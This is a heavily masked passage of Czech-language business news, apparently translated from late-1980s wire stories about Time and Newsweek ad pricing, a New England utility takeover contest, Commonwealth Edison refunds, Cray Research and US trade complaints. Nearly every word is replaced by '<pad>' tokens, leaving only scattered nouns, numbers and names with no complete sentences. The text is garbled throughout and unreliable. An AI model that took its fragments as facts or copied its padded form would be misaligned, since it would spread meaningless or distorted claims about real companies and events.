<pad> Newsweek <pad> <pad> <pad> <pad> <pad> <pad> <pad> konkurenčním <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> pobídkový <pad> <pad> inzerenty <pad>
Nový <pad> inzerce <pad> <pad> <pad> jednotky <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
Plány <pad> <pad> poskytují inzerentům <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , se <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Time <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Zuckermana <pad>
<pad> <pad> <pad> časopisu <pad> <pad> <pad> <pad> , <pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> bude <pad> <pad> <pad> <pad>
<pad> Time <pad> <pad> <pad> snížil <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> aniž by <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> počtem prodaných <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> % <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> sazebník <pad> <pad> 1990 <pad> <pad> <pad>
<pad> <pad> <pad> , <pad> představí <pad> <pad> <pad> <pad> <pad> <pad> <pad> uděluje <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> stránkovými <pad> <pad> <pad> <pad> <pad> jejichž výdaje <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> pokud <pad> <pad> <pad> <pad> 325000 <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> by <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> prvních <pad> měsících <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> časopisu <pad> <pad> <pad> roku <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> tom <pad> <pad> dobře <pad> <pad> řekl <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> i bez nadměrného <pad> <pad> <pad> <pad> jako <pad> <pad> <pad> <pad> <pad>
Avšak <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> v <pad> <pad> <pad>
<pad> <pad> <pad> ověřování <pad> <pad> <pad> <pad> <pad> <pad> největší týdeník <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> náklad <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> období loňského <pad> <pad>
Prodaný <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> na <pad> <pad> <pad>
<pad> New <pad> <pad> <pad> vycouvala z <pad> <pad> <pad> <pad> <pad> <pad> <pad> . <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> aby <pad> <pad> <pad> <pad>
<pad> tah <pad> <pad> <pad> <pad> PS <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> podle <pad> <pad> <pad> <pad> <pad> , <pad> <pad> zbývající externí <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> Electric <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> PS of <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> daleko <pad> <pad> <pad> <pad> <pad> nabídnuté <pad> United <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> sídlí <pad> <pad> <pad> <pad> <pad> Connecticut <pad> společnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> of <pad> Hampshire <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> svůj <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> England <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> z <pad> <pad> kdyby <pad> <pad> <pad> <pad> <pad> předpovědi <pad> <pad> <pad> <pad> <pad> <pad> Hampshire <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> by <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a <pad> <pad> zdály <pad> <pad> <pad> .
<pad> <pad> těžké <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> společnost <pad> England <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> , <pad> <pad> <pad> je <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> z nejvyšších <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> prostě <pad> <pad> <pad> faktorů <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Wilbur <pad> <pad> <pad> ze <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> společnosti <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 4.8 <pad> <pad> <pad> <pad> oproti <pad> <pad> <pad> <pad> <pad> dvěma <pad> <pad> <pad> <pad> <pad> se státními <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> dodal <pad>
<pad> <pad> <pad> <pad> energetiky <pad> <pad> <pad> <pad> Northeast <pad> <pad> <pad> <pad> společnosti <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> , <pad> <pad> <pad> <pad> znovu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> komise <pad> <pad> energetiky <pad> <pad> <pad> <pad> <pad> do <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> New <pad> <pad> <pad> <pad> obchodování na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Toys <pad> <pad> <pad> <pad> <pad> . , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> společnosti <pad> Banking <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> radě nahradí <pad> <pad> <pad> <pad> <pad> <pad> viceprezidenta <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> bylo <pad> <pad> <pad> <pad> <pad> dolarů <pad> <pad> <pad> <pad> <pad> <pad> nezákonným <pad> <pad> <pad> <pad> náklady <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> částka <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> státního <pad> místního <pad> veřejných služeb <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> vrátit v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , včetně <pad> <pad> <pad> <pad> <pad> <pad> <pad> během <pad> <pad> <pad> <pad>
<pad> Curry nařídil <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> že <pad> <pad> <pad> <pad> jiné <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> . <pad> nesmí <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Společnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> proti <pad> <pad> <pad> <pad> <pad> <pad> nařízení <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 31 . <pad> <pad> <pad> <pad>
Společnost <pad> <pad> <pad> <pad> <pad> nařízení <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> o <pad> <pad> <pad> <pad> <pad>
<pad> rok 1988 <pad> <pad> Commonwealth <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dvou <pad> zákazníků <pad> jejichž <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> změnily <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> cenných <pad> <pad> <pad> Comonwealth <pad> <pad> <pad> <pad> <pad> <pad> uzavřela <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> ve <pad> <pad> <pad> <pad> 2.5 <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Ve <pad> <pad> <pad> <pad> <pad> <pad> Illinoiská <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> aby elektrárnu <pad> <pad>
<pad> <pad> soudy <pad> <pad> <pad> <pad> proti <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> společnosti <pad> Edison <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> veřejných <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> nárokem <pad> <pad> od <pad> <pad> <pad>
<pad> <pad> komise <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> na <pad> elektrárny <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> komise <pad> 55 <pad> <pad> <pad>
<pad> <pad> <pad> <pad> Curry <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> / <pad> poplatků <pad> <pad> sazbou <pad> <pad> <pad> odvolací <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> jadernou <pad> , <pad> <pad> <pad> společnosti <pad> <pad> <pad>
<pad> Commonwealth <pad> <pad> <pad> zvýšených <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> očekáváno <pad> <pad> <pad> <pad>
Minulý <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> LaSalle <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> s <pad> <pad> <pad> <pad> <pad> na <pad> 500004 kusů <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> zářijovém 12 <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> března <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> 0.4 <pad> <pad>
<pad> <pad> <pad> vzrostl <pad> <pad> % <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> spotřební <pad> <pad> , <pad> <pad> <pad> <pad> více <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Texas <pad> Inc <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Koreji <pad>
Společnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> vyhovět <pad> <pad> <pad> <pad> <pad> poptávce <pad> <pad> <pad> <pad> Jižní <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad>
Zdá <pad> <pad> <pad> <pad> odtržené <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> obchodu <pad> superpočítači <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad>
<pad> vývoj <pad> <pad> této <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> regulaci <pad> cenných <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> financování , které <pad> <pad> <pad> <pad> <pad> <pad> <pad> nebo <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> že <pad> <pad> <pad> pracuje <pad> projektu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> rok <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> s <pad> perspektivními <pad> <pad>
Třebaže <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> když <pad> <pad> <pad> <pad> odtržení <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad>
<pad> Neměli <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , finanční <pad> <pad> <pad> <pad> <pad>
" <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Cray <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> Research <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> předpovídá <pad> dalších <pad> <pad> <pad> <pad> <pad> financování <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> scénářem <pad>
<pad> <pad> <pad> <pad> způsobilo <pad> <pad> <pad> <pad> <pad> Research <pad> <pad> při kompozitním <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> společnosti <pad> <pad> <pad> svůj <pad> <pad> <pad> <pad> <pad> milionu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> být <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> řekl <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> z <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> kapitálem <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> Seymour <pad> <pad> <pad> <pad> <pad> <pad> "
Kromě <pad> <pad> <pad> další <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> pro <pad> <pad> <pad> <pad> <pad>
Dokumenty <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , jako <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> obsahovat <pad> <pad> <pad> dvakrát <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Společnost Cray <pad> <pad> <pad> <pad> <pad> konkurenci <pad> <pad> <pad> <pad> <pad> <pad> Research <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> uvede <pad> <pad> počítač <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 3 <pad>
<pad> společnost <pad> rovněž <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Velkou <pad> <pad> <pad> <pad> <pad> <pad> <pad> NEC <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> superpočítače <pad> <pad> mezi <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> počítače <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> společnosti <pad> <pad> , <pad> <pad> <pad> <pad> to <pad> <pad> <pad> <pad> <pad> <pad> <pad> do <pad> týdnů <pad>
<pad> <pad> <pad> <pad> <pad> stanovena <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> Cray <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> počáteční <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> za <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> asi <pad> <pad> <pad> v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> - <pad> <pad> <pad> <pad> výdělky <pad> <pad> Research <pad>
<pad> <pad> <pad> <pad> <pad> proč <pad> <pad> <pad> <pad> <pad> <pad>
Bez <pad> na <pad> <pad> <pad> počítače <pad> <pad> <pad> <pad> společnost <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> Computer <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> již existovala <pad>
<pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> tyto <pad> <pad> , <pad> <pad> pro <pad> <pad> z <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> společností <pad> <pad> <pad>
<pad> <pad> tomu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> minulý <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> Cray <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ve <pad> <pad> <pad> , 47 <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 40 let <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> viceprezident <pad> hardware <pad>
<pad> <pad> ze <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> očekává , <pad> <pad> <pad> 450 <pad> <pad>
<pad> R <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> obě <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> generálnímu <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> jmenován <pad> <pad> <pad> <pad>
<pad> byl <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> A <pad> Hatche <pad> <pad> prezidenta <pad> <pad> <pad> <pad>
<pad> <pad> viceprezidentem <pad> <pad> <pad> <pad>
<pad> <pad> <pad> Tassinari <pad> <pad> <pad> <pad> <pad> <pad> <pad> viceprezidentem <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad>
<pad> <pad> jistý <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Saúdskou <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> amerických patentů <pad> <pad> <pad> a dalších <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> Čína <pad> <pad> , <pad> <pad> <pad> <pad> Mexiko <pad> <pad> <pad> <pad> <pad> šetření <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> obchodního zákona <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> obchodování a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Carla <pad> uvedla <pad> <pad> <pad> <pad> <pad> zemí <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> " <pad>
<pad> <pad> <pad> <pad> <pad> <pad> existuje <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> vlastnictví <pad> <pad> obchodujícím <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> porušující <pad> <pad> <pad> <pad>
<pad> <pad> vyjednavači <pad> <pad> <pad> <pad> <pad> nedostatečnou <pad> <pad> <pad> <pad> <pad> mohly <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> vědce <pad> autory <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dané <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> zabývající <pad> <pad> <pad> <pad> speciálních <pad> <pad> <pad> <pad> žalobců <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> postupy <pad> <pad> <pad> <pad> pomohl <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> právech , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> promítání <pad> filmů <pad>
<pad> <pad> by <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> za promítání <pad> <pad> <pad>
<pad> se <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> bude <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> počítačový <pad> <pad> literární díla <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> tyto <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> zemí <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> zemí <pad>
<pad> <pad> <pad> včetně <pad> , <pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> patentů <pad> <pad> <pad> <pad> <pad> za <pad> <pad> <pad> <pad> <pad> <pad> <pad> " <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> případy <pad> <pad> <pad> <pad> řekl <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> s <pad> <pad> <pad> <pad> <pad> duševního <pad> <pad> <pad> vlastním <pad> země <pad>
<pad> <pad> <pad> <pad> <pad> <pad> americké <pad> <pad> funguje <pad> <pad> <pad> <pad>
<pad> , <pad> <pad> <pad> <pad> <pad> , <pad> budou <pad> <pad> <pad> <pad> <pad> <pad> <pad> být <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> vývojem <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> "
<pad> <pad> <pad> <pad> ačkoli <pad> <pad> <pad> <pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
Obchodní <pad> z <pad> <pad> <pad> Carle <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> natolik závažné <pad> aby <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> prohlásila <pad> <pad> <pad> <pad> banky <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ve výši <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> ekonomiky <pad> <pad> je <pad> <pad> <pad> první <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> latinskoamerická <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dluhu <pad> <pad> <pad> <pad>
<pad> <pad> <pad> snaží <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dluhu <pad> <pad> prohlásil <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Davidem <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> York <pad> <pad> <pad> <pad> s <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> Carlose <pad> <pad> <pad> <pad> <pad> <pad> <pad> . <pad> <pad> <pad> <pad> <pad> významné <pad> <pad> <pad> <pad> <pad> <pad> způsob , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Neřekl <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> stého <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> z <pad> <pad> <pad> <pad> <pad> <pad> <pad> americké <pad> historie <pad> <pad>
<pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> trh <pad> <pad> <pad> <pad>
<pad> <pad> roce <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
Počítače <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> vlastní <pad> <pad> <pad> <pad> <pad> data <pad> <pad> <pad>
Apple <pad> však znamenal <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Club <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> 1298 <pad> <pad>
<pad> <pad> tyto <pad> <pad> počítače <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> stolních <pad> <pad> <pad> <pad> <pad> <pad>
<pad> centrální <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> - <pad> <pad> <pad> <pad> <pad> <pad> <pad> jako <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> v <pad> <pad> dvou <pad> dat <pad>
<pad> <pad> <pad> <pad> <pad> <pad> x <pad> <pad> <pad> <pad> <pad> <pad> x <pad> <pad> <pad> <pad> z <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> počítačů <pad>
<pad> <pad> <pad> vyvinuli <pad> <pad> a <pad> <pad> <pad> jazykově <pad> <pad> <pad> <pad> <pad> <pad> <pad> Gates <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Technology <pad> <pad> <pad> <pad> <pad> <pad> diskovou <pad> <pad> PC <pad>
<pad> <pad> <pad> <pad> Heatherington <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> telefon <pad>
